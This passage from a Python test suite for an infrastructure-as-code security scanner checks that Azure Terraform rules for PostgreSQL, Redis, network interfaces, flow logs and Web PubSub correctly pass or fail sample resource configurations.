"azurerm_network_security_group.pass2", "azurerm_network_security_group.pass3", } failing_resources = { "azurerm_network_security_rule.fail", "azurerm_network_security_rule.fail2", "azurerm_network_security_rule.fail3", "azurerm_network_security_rule.fail4", "azurerm_network_security_rule.fail5", "azurerm_network_security_group.fail", "azurerm_network_security_group.fail2", "azurerm_network_security_group.fail3", "azurerm_network_security_group.fail4", "azurerm_network_security_group.fail5", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NetworkInterfaceEnableIPForwarding.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.NetworkInterfaceEnableIPForwarding import check from checkov.common.models.enums import CheckResult class TestNetworkInterfaceEnableIPForwarding(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_network_interface" "example" { name = "example-nic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_configuration { name = "internal" subnet_id = azurerm_subnet.example.id private_ip_address_allocation = "Dynamic" } enable_ip_forwarding = true } """) resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_network_interface" "example" { name = "example-nic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_configuration { name = "internal" subnet_id = azurerm_subnet.example.id private_ip_address_allocation = "Dynamic" } enable_ip_forwarding = false } """) resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_no_param(self): hcl_res = hcl2.loads(""" resource "azurerm_network_interface" "example" { name = "example-nic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_configuration { name = "internal" subnet_id = azurerm_subnet.example.id private_ip_address_allocation = "Dynamic" } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NetworkWatcherFlowLogPeriod.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.NetworkWatcherFlowLogPeriod import check from checkov.common.models.enums import CheckResult class TestNetworkWatcherFlowLogPeriod(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true retention_policy { enabled = true days = 7 } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_no_retention_policy(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_invalid_days_string(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true retention_policy { enabled = true days = var.watcher_flow_logs.days } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true retention_policy { enabled = true days = 90 } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_with_0_days(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true retention_policy { enabled = true days = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_with_valid_day_string(self): hcl_res = hcl2.loads(""" resource "azurerm_network_watcher_flow_log" "test" { network_watcher_name = azurerm_network_watcher.test.name resource_group_name = azurerm_resource_group.test.name network_security_group_id = azurerm_network_security_group.test.id storage_account_id = azurerm_storage_account.test.id enabled = true retention_policy { enabled = true days = "100" } } """) resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_OpenAICognitiveServicesRestrictedOutboundNetwork.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.OpenAICognitiveServicesRestrictOutboundNetwork import check from checkov.terraform.runner import Runner class TestOpenAICognitiveServicesRestrictedOutboundNetwork(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_OpenAICognitiveServicesRestrictOutboundNetwork" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cognitive_account.pass_openai", "azurerm_cognitive_account.pass_non_openai", "azurerm_cognitive_account.pass_openai_multiple_fqdns", } failing_resources = { "azurerm_cognitive_account.fail_openai_missing_fqdns", "azurerm_cognitive_account.fail_openai_missing_outbound_network_access", "azurerm_cognitive_account.fail_openai_missing_fqdns_and_outbound_network_access", "azurerm_cognitive_account.fail_openai_missing_fqdns_but_present_outbound_network_access", "azurerm_cognitive_account.fail_openai_no_outbound_access_and_multiple_fqdns", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLEncryptionEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLEncryptionEnabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLEncryptionEnabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 infrastructure_encryption_enabled = false auto_grow_enabled = true public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 auto_grow_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 infrastructure_encryption_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLFlexiServerGeoBackupEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.PostgreSQLFlexiServerGeoBackupEnabled import check from checkov.terraform.runner import Runner class TestPostgreSQLFlexiServerGeoBackupEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_PostgreSQLFlexiServerGeoBackupEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_postgresql_flexible_server.pass", "azurerm_postgresql_flexible_server.replica" } failing_resources = { "azurerm_postgresql_flexible_server.fail1", "azurerm_postgresql_flexible_server.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLMinTLSVersion.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.PostgreSQLMinTLSVersion import check from checkov.terraform.runner import Runner class TestPostgreSQLMinTLSVersion(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_PostgreSQLMinTLSVersion" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_postgresql_server.pass", } failing_resources = { "azurerm_postgresql_server.fail", "azurerm_postgresql_server.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerConnectionThrottlingEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLServerConnectionThrottlingEnabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLServerConnectionThrottlingEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "connection_throttling" resource_group_name = data.azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "off" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "backslash_quote" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "on" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerLogCheckpointEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLServerLogCheckpointsEnabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLServerLogCheckpointsEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "log_checkpoints" resource_group_name = data.azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "off" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "backslash_quote" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "on" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerLogConnectionsEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLServerLogConnectionsEnabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLServerLogConnectionsEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "log_connections" resource_group_name = data.azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "off" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_configuration" "example" { name = "backslash_quote" resource_group_name = azurerm_resource_group.example.name server_name = azurerm_postgresql_server.example.name value = "on" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerLogRetentionEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.PostgreSQLServerLogRetentionEnabled import check class TestACRAdminAccountDisabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PostgreSQLServerLogRetentionEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_postgresql_configuration.pass', } failing_resources = { 'azurerm_postgresql_configuration.fail' } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerPublicAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLServerPublicAccessDisabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLServerPublicAccessDisabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgreSQLServerSSLEnforcementEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLServerSSLEnforcementEnabled import check from checkov.common.models.enums import CheckResult class TestPostgreSQLServerSSLEnforcementEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgresSQLGeoBackupEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgressSQLGeoBackupEnabled import check from checkov.common.models.enums import CheckResult class TestPostgressSQLGeoBackupEnabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = false auto_grow_enabled = true public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 auto_grow_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PostgresSQLTreatDetectionEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgresSQLTreatDetectionEnabled import check from checkov.common.models.enums import CheckResult class TestPostgresSQLTreatDetectionEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" threat_detection_policy { enabled = false } } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_empty(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_postgresql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" threat_detection_policy { enabled = true } } """) resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PubsubSKUSLA.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.PubsubSKUSLA import check from checkov.terraform.runner import Runner class TestPubsubSKUSLA(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_PubsubSKUSLA" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_web_pubsub.pass", } failing_resources = { "azurerm_web_pubsub.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_PubsubSpecifyIdentity.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.PubsubSpecifyIdentity import check from checkov.terraform.runner import Runner class TestPubsubSpecifyIdentity(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_PubsubSpecifyIdentity" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_web_pubsub.pass", "azurerm_web_pubsub.pass2", } failing_resources = { "azurerm_web_pubsub.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_RedisCacheEnableNonSSLPort.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.RedisCacheEnableNonSSLPort import check from checkov.common.models.enums import CheckResult class TestRedisCacheEnableNonSSLPort(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = true minimum_tls_version = "1.2" public_network_access_enabled = true redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = false minimum_tls_version = "1.2" public_network_access_enabled = true redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_no_param(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" minimum_tls_version = "1.2" redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_RedisCacheMinTLSVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.RedisCacheMinTLSVersion import check class TestRedisCacheMinTLSVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RedisCacheMinTLSVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_redis_cache.pass', } failing_resources = { 'azurerm_redis_cache.fail', 'azurerm_redis_cache.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_RedisCachePublicNetworkAccessEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.RedisCachePublicNetworkAccessEnabled 